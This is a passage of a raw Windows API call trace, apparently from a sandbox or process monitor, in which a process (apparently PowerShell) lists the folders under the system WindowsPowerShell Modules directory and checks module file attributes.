nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MMAgent", cAlternateFileName="")) returned 1 [0159.836] FindNextFileW (in: hFindFile=0x1cbf2a24890, lpFindFileData=0x250580df00 | out: lpFindFileData=0x250580df00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1826502a, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x976a5ca6, ftLastAccessTime.dwHighDateTime=0x1d5c555, ftLastWriteTime.dwLowDateTime=0x976a5ca6, ftLastWriteTime.dwHighDateTime=0x1d5c555, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MsDtc", cAlternateFileName="")) returned 1 [0159.836] FindNextFileW (in: hFindFile=0x1cbf2a24890, lpFindFileData=0x250580df00 | out: lpFindFileData=0x250580df00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x20bc0906, ftCreationTime.dwHighDateTime=0x1d32773, ftLastAccessTime.dwLowDateTime=0x2397fa76, ftLastAccessTime.dwHighDateTime=0x1d32773, ftLastWriteTime.dwLowDateTime=0x2397fa76, ftLastWriteTime.dwHighDateTime=0x1d32773, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSMQ", cAlternateFileName="")) returned 1 [0159.836] FindNextFileW (in: hFindFile=0x1cbf2a24890, lpFindFileData=0x250580df00 | out: lpFindFileData=0x250580df00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1826502a, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xfc2679e0, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1e8ec2c6, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="NetAdapter", cAlternateFileName="NETADA~1")) returned 1 [0159.836] FindNextFileW (in: hFindFile=0x1cbf2a24890, lpFindFileData=0x250580df00 | out: lpFindFileData=0x250580df00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1826502a, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xfc268719, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1e8ec2c6, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="NetConnection", cAlternateFileName="NETCON~1")) returned 1 [0159.836] FindNextFileW (in: hFindFile=0x1cbf2a24890, lpFindFileData=0x250580df00 | out: lpFindFileData=0x250580df00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1826502a, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xfc268cf6, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1e912528, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="NetEventPacketCapture", cAlternateFileName="NETEVE~1")) returned 1 [0159.837] FindNextFileW (in: hFindFile=0x1cbf2a24890, lpFindFileData=0x250580df00 | out: lpFindFileData=0x250580df00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1826502a, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xfc2dd6b5, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1e912528, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="NetLbfo", cAlternateFileName="")) returned 1 [0159.837] FindNextFileW (in: hFindFile=0x1cbf2a24890, lpFindFileData=0x250580df00 | out: lpFindFileData=0x250580df00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1826502a, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xfc34165b, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1e938796, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="NetNat", cAlternateFileName="")) returned 1 [0159.837] FindNextFileW (in: hFindFile=0x1cbf2a24890, lpFindFileData=0x250580df00 | out: lpFindFileData=0x250580df00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1826502a, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xfc3421c6, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1e938796, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="NetQos", cAlternateFileName="")) returned 1 [0159.837] FindNextFileW (in: hFindFile=0x1cbf2a24890, lpFindFileData=0x250580df00 | out: lpFindFileData=0x250580df00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1826502a, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x976cbf0e, ftLastAccessTime.dwHighDateTime=0x1d5c555, ftLastWriteTime.dwLowDateTime=0x976cbf0e, ftLastWriteTime.dwHighDateTime=0x1d5c555, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="NetSecurity", cAlternateFileName="NETSEC~1")) returned 1 [0159.837] FindNextFileW (in: hFindFile=0x1cbf2a24890, lpFindFileData=0x250580df00 | out: lpFindFileData=0x250580df00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1826502a, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xfc425b0a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1e95e9fc, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="NetSwitchTeam", cAlternateFileName="NETSWI~1")) returned 1 [0159.837] FindNextFileW (in: hFindFile=0x1cbf2a24890, lpFindFileData=0x250580df00 | out: lpFindFileData=0x250580df00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1826502a, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xfc426217, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1e984c6e, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="NetTCPIP", cAlternateFileName="")) returned 1 [0159.838] FindNextFileW (in: hFindFile=0x1cbf2a24890, lpFindFileData=0x250580df00 | out: lpFindFileData=0x250580df00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1828b299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xfc468c21, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1e984c6e, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="NetworkConnectivityStatus", cAlternateFileName="NETWOR~1")) returned 1 [0159.838] FindNextFileW (in: hFindFile=0x1cbf2a24890, lpFindFileData=0x250580df00 | out: lpFindFileData=0x250580df00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1828b299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x976cbf0e, ftLastAccessTime.dwHighDateTime=0x1d5c555, ftLastWriteTime.dwLowDateTime=0x976cbf0e, ftLastWriteTime.dwHighDateTime=0x1d5c555, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="NetworkSwitchManager", cAlternateFileName="NETWOR~2")) returned 1 [0159.838] FindNextFileW (in: hFindFile=0x1cbf2a24890, lpFindFileData=0x250580df00 | out: lpFindFileData=0x250580df00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1828b299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xfc5046f0, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1e9aaec8, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="NetworkTransition", cAlternateFileName="NETWOR~3")) returned 1 [0159.838] FindNextFileW (in: hFindFile=0x1cbf2a24890, lpFindFileData=0x250580df00 | out: lpFindFileData=0x250580df00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1828b299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xfc50532d, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1e9d112b, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PcsvDevice", cAlternateFileName="PCSVDE~1")) returned 1 [0159.838] FindNextFileW (in: hFindFile=0x1cbf2a24890, lpFindFileData=0x250580df00 | out: lpFindFileData=0x250580df00*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x1828b299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x976cbf0e, ftLastAccessTime.dwHighDateTime=0x1d5c555, ftLastWriteTime.dwLowDateTime=0x976cbf0e, ftLastWriteTime.dwHighDateTime=0x1d5c555, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PKI", cAlternateFileName="")) returned 1 [0159.839] FindNextFileW (in: hFindFile=0x1cbf2a24890, lpFindFileData=0x250580df00 | out: lpFindFileData=0x250580df00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1828b299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xfc5a46ff, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1e9d112b, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PnpDevice", cAlternateFileName="PNPDEV~1")) returned 1 [0159.839] FindNextFileW (in: hFindFile=0x1cbf2a24890, lpFindFileData=0x250580df00 | out: lpFindFileData=0x250580df00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1828b299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xfc5a53a2, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1e9f739d, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PrintManagement", cAlternateFileName="PRINTM~1")) returned 1 [0159.839] FindNextFileW (in: hFindFile=0x1cbf2a24890, lpFindFileData=0x250580df00 | out: lpFindFileData=0x250580df00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1828b299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xfc6cc509, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1ea1d607, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Provisioning", cAlternateFileName="PROVIS~1")) returned 1 [0159.839] FindNextFileW (in: hFindFile=0x1cbf2a24890, lpFindFileData=0x250580df00 | out: lpFindFileData=0x250580df00*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x1828b299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x9778acff, ftLastAccessTime.dwHighDateTime=0x1d5c555, ftLastWriteTime.dwLowDateTime=0x9778acff, ftLastWriteTime.dwHighDateTime=0x1d5c555, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PSDesiredStateConfiguration", cAlternateFileName="PSDESI~1")) returned 1 [0159.839] FindNextFileW (in: hFindFile=0x1cbf2a24890, lpFindFileData=0x250580df00 | out: lpFindFileData=0x250580df00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x182d775d, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xfc8049ce, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1ea69acb, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PSDiagnostics", cAlternateFileName="PSDIAG~1")) returned 1 [0159.840] FindNextFileW (in: hFindFile=0x1cbf2a24890, lpFindFileData=0x250580df00 | out: lpFindFileData=0x250580df00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x182d775d, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xfc804db7, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1ea8fd3d, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PSScheduledJob", cAlternateFileName="PSSCHE~1")) returned 1 [0159.840] FindNextFileW (in: hFindFile=0x1cbf2a24890, lpFindFileData=0x250580df00 | out: lpFindFileData=0x250580df00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x182d775d, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xfc8051d9, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1ea8fd3d, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PSWorkflow", cAlternateFileName="PSWORK~1")) returned 1 [0159.840] FindNextFileW (in: hFindFile=0x1cbf2a24890, lpFindFileData=0x250580df00 | out: lpFindFileData=0x250580df00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x182d775d, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xfc8055f7, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1ea8fd3d, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PSWorkflowUtility", cAlternateFileName="PSWORK~2")) returned 1 [0159.840] FindNextFileW (in: hFindFile=0x1cbf2a24890, lpFindFileData=0x250580df00 | out: lpFindFileData=0x250580df00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x182d775d, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xfc90f57c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1ea8fd3d, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ScheduledTasks", cAlternateFileName="SCHEDU~1")) returned 1 [0159.840] FindNextFileW (in: hFindFile=0x1cbf2a24890, lpFindFileData=0x250580df00 | out: lpFindFileData=0x250580df00*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x182d775d, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x9778acff, ftLastAccessTime.dwHighDateTime=0x1d5c555, ftLastWriteTime.dwLowDateTime=0x9778acff, ftLastWriteTime.dwHighDateTime=0x1d5c555, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SecureBoot", cAlternateFileName="SECURE~1")) returned 1 [0159.840] FindNextFileW (in: hFindFile=0x1cbf2a24890, lpFindFileData=0x250580df00 | out: lpFindFileData=0x250580df00*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x182d775d, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xfc9c0cbb, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8c1e1cae, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SmbShare", cAlternateFileName="")) returned 1 [0159.841] FindNextFileW (in: hFindFile=0x1cbf2a24890, lpFindFileData=0x250580df00 | out: lpFindFileData=0x250580df00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x182d775d, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xfc9c3023, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1eab5f8c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SmbWitness", cAlternateFileName="SMBWIT~1")) returned 1 [0159.841] FindNextFileW (in: hFindFile=0x1cbf2a24890, lpFindFileData=0x250580df00 | out: lpFindFileData=0x250580df00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x182d775d, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xfc9c3b3e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1eab5f8c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="StartLayout", cAlternateFileName="STARTL~1")) returned 1 [0159.841] FindNextFileW (in: hFindFile=0x1cbf2a24890, lpFindFileData=0x250580df00 | out: lpFindFileData=0x250580df00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x182d775d, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xfc9c4795, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1eadc202, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Storage", cAlternateFileName="")) returned 1 [0159.841] FindNextFileW (in: hFindFile=0x1cbf2a24890, lpFindFileData=0x250580df00 | out: lpFindFileData=0x250580df00*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x182d775d, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x9778acff, ftLastAccessTime.dwHighDateTime=0x1d5c555, ftLastWriteTime.dwLowDateTime=0x9778acff, ftLastWriteTime.dwHighDateTime=0x1d5c555, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="TLS", cAlternateFileName="")) returned 1 [0159.841] FindNextFileW (in: hFindFile=0x1cbf2a24890, lpFindFileData=0x250580df00 | out: lpFindFileData=0x250580df00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x182d775d, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xfc9c6b67, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8c1e1cae, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="TroubleshootingPack", cAlternateFileName="TROUBL~1")) returned 1 [0159.842] FindNextFileW (in: hFindFile=0x1cbf2a24890, lpFindFileData=0x250580df00 | out: lpFindFileData=0x250580df00*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x182d775d, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x9778acff, ftLastAccessTime.dwHighDateTime=0x1d5c555, ftLastWriteTime.dwLowDateTime=0x9778acff, ftLastWriteTime.dwHighDateTime=0x1d5c555, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="TrustedPlatformModule", cAlternateFileName="TRUSTE~1")) returned 1 [0159.842] FindNextFileW (in: hFindFile=0x1cbf2a24890, lpFindFileData=0x250580df00 | out: lpFindFileData=0x250580df00*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xe6de977b, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xfc9ca45b, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xe86cfe48, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="UEV", cAlternateFileName="")) returned 1 [0159.842] FindNextFileW (in: hFindFile=0x1cbf2a24890, lpFindFileData=0x250580df00 | out: lpFindFileData=0x250580df00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x182d775d, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x9778acff, ftLastAccessTime.dwHighDateTime=0x1d5c555, ftLastWriteTime.dwLowDateTime=0x9778acff, ftLastWriteTime.dwHighDateTime=0x1d5c555, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="VpnClient", cAlternateFileName="VPNCLI~1")) returned 1 [0159.842] FindNextFileW (in: hFindFile=0x1cbf2a24890, lpFindFileData=0x250580df00 | out: lpFindFileData=0x250580df00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x182d775d, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xfca67fa6, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1eb02464, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Wdac", cAlternateFileName="")) returned 1 [0159.842] FindNextFileW (in: hFindFile=0x1cbf2a24890, lpFindFileData=0x250580df00 | out: lpFindFileData=0x250580df00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x182d775d, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xfca68f09, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1eb02464, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="WindowsDeveloperLicense", cAlternateFileName="WINDOW~1")) returned 1 [0159.843] FindNextFileW (in: hFindFile=0x1cbf2a24890, lpFindFileData=0x250580df00 | out: lpFindFileData=0x250580df00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x182d775d, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xfca69a5d, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1eb02464, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="WindowsErrorReporting", cAlternateFileName="WINDOW~2")) returned 1 [0159.843] FindNextFileW (in: hFindFile=0x1cbf2a24890, lpFindFileData=0x250580df00 | out: lpFindFileData=0x250580df00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x182d775d, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x9778acff, ftLastAccessTime.dwHighDateTime=0x1d5c555, ftLastWriteTime.dwLowDateTime=0x9778acff, ftLastWriteTime.dwHighDateTime=0x1d5c555, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="WindowsSearch", cAlternateFileName="WINDOW~3")) returned 1 [0159.843] FindNextFileW (in: hFindFile=0x1cbf2a24890, lpFindFileData=0x250580df00 | out: lpFindFileData=0x250580df00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x182d775d, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xfca6b8d6, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1eb286c2, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="WindowsUpdate", cAlternateFileName="WINDOW~4")) returned 1 [0159.843] FindNextFileW (in: hFindFile=0x1cbf2a24890, lpFindFileData=0x250580df00 | out: lpFindFileData=0x250580df00*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0159.843] FindClose (in: hFindFile=0x1cbf2a24890 | out: hFindFile=0x1cbf2a24890) returned 1 [0159.843] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x250580e160) returned 1 [0159.843] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x250580e120) returned 1 [0159.844] GetFileAttributesW (lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Modules.psd1" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\modules.psd1")) returned 0xffffffff [0159.844] GetFileAttributesW (lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Modules.psm1" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\modules.psm1")) returned 0xffffffff [0159.844] GetFileAttributesW (lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Modules.cdxml" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\modules.cdxml")) returned 0xffffffff [0159.844] GetFileAttributesW (lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Modules.xaml" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\modules.xaml")) returned 0xffffffff [0159.844] GetFileAttributesW (lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Modules.ni.dll" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\modules.ni.dll")) returned 0xffffffff [0159.844] GetFileAttributesW (lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Modules.dll" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\modules.dll")) returned 0xffffffff [0159.845] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\AppBackgroundTask", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x45 [0159.845] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\AppBackgroundTask", nBufferLength=0x45, lpBuffer=0x1cbd873d080, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\AppBackgroundTask", lpFilePart=0x0) returned 0x44 [0159.845] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x250580e1f0) returned 1 [0159.845] GetFileAttributesExW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\AppBackgroundTask" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\appbackgroundtask"), fInfoLevelId=0x0, lpFileInformation=0x250580e2d0 | out: lpFileInformation=0x250580e2d0*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x1823edc4, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xfbe3ca03, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1e807470, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x1000)) returned 1 [0159.849] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x250580e1b0) returned 1 [0159.849] 